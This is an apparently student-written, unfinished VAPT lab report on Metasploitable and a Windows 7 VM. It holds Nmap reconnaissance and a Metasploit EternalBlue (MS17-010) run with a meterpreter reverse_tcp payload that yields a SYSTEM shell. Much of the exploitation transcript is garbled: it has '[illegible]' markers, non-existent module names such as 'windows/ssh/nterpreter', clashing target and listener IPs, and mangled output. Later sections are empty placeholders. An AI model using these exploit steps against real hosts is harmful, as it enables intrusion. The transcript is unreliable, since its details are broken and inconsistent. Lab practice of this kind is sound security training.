

Vulnerability Assessment and Penetration Testing Lab Report

1. Overview

I planned to conduct a black-box Vulnerability Assessment and Penetration Testing (VAPT) lab exercise against two target virtual machines: **Metasploitable 2** and **Ubuntu vms**. The assessment was performed from the perspective of an unauthenticated remote attacker with no prior knowledge of the target environments.

The objective was to identify, exploit, and document security vulnerabilities, assess the potential business impact, and provide actionable remediation recommendations.

2. Methodology

The assessment followed the **Penetration Testing Execution Standard (PTES)** methodology, and all findings were rated using the **CVSS v3.1** scoring system.

Phase 1: Pre-Engagement Interactions	Scope, rules, authorization
Phase 2: Intelligence Gathering	Reconnaissance
Phase 3: Threat Modeling	What matters most to protect
Phase 4: Vulnerability Analysis	Scanning, finding holes
Phase 5: Exploitation	Actually breaking in
Phase 6: Post-Exploitation	What can you do now that you're in?
Phase 7: Reporting	Documenting everything

Tools used in mentioned phases:

Phase	Activity	Tools Used
Intelligence Gathering	Port scanning, service detection, OS fingerprinting	Nmap, Netcat
Vulnerability Analysis	Service vulnerability scanning, SMB enumeration, web app scanning	Nmap vuln scripts, Nessus (optional), zap
Exploitation	Remote code execution via backdoors, SMB exploits, credential abuse	Metasploit, Netcat, manual commands
Post-Exploitation	Privilege escalation, credential dumping, sensitive data extraction	Meterpreter, Mimikatz, LinEnum, hashdump

Reporting	Documentation with CVSS scoring, remediation mapping	GitHub Markdown, CVSS v3.1 calculator
-----------	--	---------------------------------------

3. Reconnaissance (Scanning)

- `sudo arp-scan --localnet`
- `nmap -sn 192.x.x.x`
- `nmap -sT -p 22,80,443 192.x.x.x`

```
(root@kali123)-[~]
# # Use ARP scan to discover live hosts on the local s
sudo arp-scan --localnet

# Or use nmap's ping sweep (uses TCP/ACK + SYN probes, r
nmap -sn [redacted]

# Or try a TCP connect scan directly on common ports
nmap -sT -p 22,80,443 [redacted]
Interface: eth0, type: EN10MB, MAC: [redacted]
Starting arp-scan 1.10.0 with 256 hosts (https://github.
)
[redacted] 00:50:56:c0:00:08 VMware, Inc.
[redacted] 00:50:56:ea:eb:c5 VMware, Inc.
[redacted] 00:0c:29:86:9e:3f VMware, Inc.
[redacted] 00:50:56:e6:31:0f VMware, Inc.
```

```
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   closed https
MAC Address: [redacted] (VMware)
```

4. vulnerability analysis

- `sudo nmap -sV --script vuln METASPLOITABLE_IP -oA metasploitable_vuln`

```
(root@kali123)-[~]
# sudo nmap -sV --script vuln 150.1.7.102 -oA metasploitable_vuln
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-25 14:38 -0400
```

Results in

5. Exploitation

```
(root@kali123)-[~]
# msfconsole
```

[illegible][illegible]

```
root@kali:~/metasploit# msfrpc @kali:~$ msfrpc -u user -H 10.10.10.10
```

```
82 post/windows/gather/word_und_injector - normal No Windows Gather Microsoft Office Word Undocumented Injectors
C Path Injector - normal No Windows MSB Multi Dropper
83 auxiliary/fileformat/multidrop - normal No Windows MSB Multi Dropper
```

Interact with a module by name or index. For example info 83, use 83 or use auxiliary/fileformat/multidrop

```
msf> use 15
msf auxiliary(scanner/smb/smb_ms17_010) > set RHOST 150.1.7.103
RHOST => 150.1.7.103
msf auxiliary(scanner/smb/smb_ms17_010) > run
[*] 150.1.7.103:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/recog-3.1.12/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested operator '*' and '?' was replaced with '*' in regular expression
[*] 150.1.7.103:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_ms17_010) > search ms17_010
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	MS17-010 EternalBlue SMB Remote Windows Kernel Exploitation
1	\target: Automatic Target	-	-	-	-
2	\target: Windows 7	-	-	-	-
3	\target: Windows Embedded Standard 7	-	-	-	-
4	\target: Windows Server 2008 R2	-	-	-	-
5	\target: Windows 8	-	-	-	-

```

23   \_ AKA: ETERNALBLUE           .           .           .
24   \_ auxiliary/scanner/smb/smb_ms17_010 . normal No   MS17-010 SMB RCE Detection
25   \_ AKA: DOUBLEPULSAR         .           .           .
26   \_ AKA: ETERNALBLUE           .           .           .

```

Interact with a module by name or index. For example info 26, use 26 or use auxiliary/scanner/smb/smb_ms17_010

```

msf auxiliary(scanner/smb/smb_ms17_010) > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > show options

```

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic.html
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Indows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows Embedded Standard 7 target machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows Embedded Standard 7 target machines.

```

Payload options (windows/ssh/nterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread            yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.1.100     yes       The IP address (an interface may be specified)
  LPORT     4444              yes       The Llisten port

exploit target:
  Id      Name
  --      --
  0       Automatic Target

View the full module info with the info, or info -d command.

msf exploit(windows/ssh/nterpreter) > set HOSTS 192.168.1.101
HOSTS = 192.168.1.101
msf exploit(windows/ssh/nterpreter) > set LHOST 192.168.1.101
LHOST = 192.168.1.101
msf exploit(windows/ssh/nterpreter) > run
[*] exploit TCP handler on 192.168.1.101:4444
192.168.1.101:4444 - using auxiliary/computer/ssh/ssh/nterpreter
192.168.1.101:4444 - Host is likely VULNERABLE to MSF-010 - Windows 7 Home Basic 7601 Service Pack 1 x64 (6-bit)
192.168.1.101:4444 - scanned 2 of 2 hosts (100% complete)
192.168.1.101:4444 - the target is vulnerable.
[*] -> sending payload over the connection

```

```
meterpreter > sysinfo
Computer      : WIN-9DTLAB3LKDM
OS           : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain       : WORKGROUP
Logged On Users : 2
Meterpreter   : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > screenshot
Screenshot saved to: /home/kali123/AWYrcyKG.jpeg
```

6. Post-Exploitation

7. **Take Screenshots:** Screenshots will be added in their respective area as per need.

8. Risk ratings

Still working....

To be continued...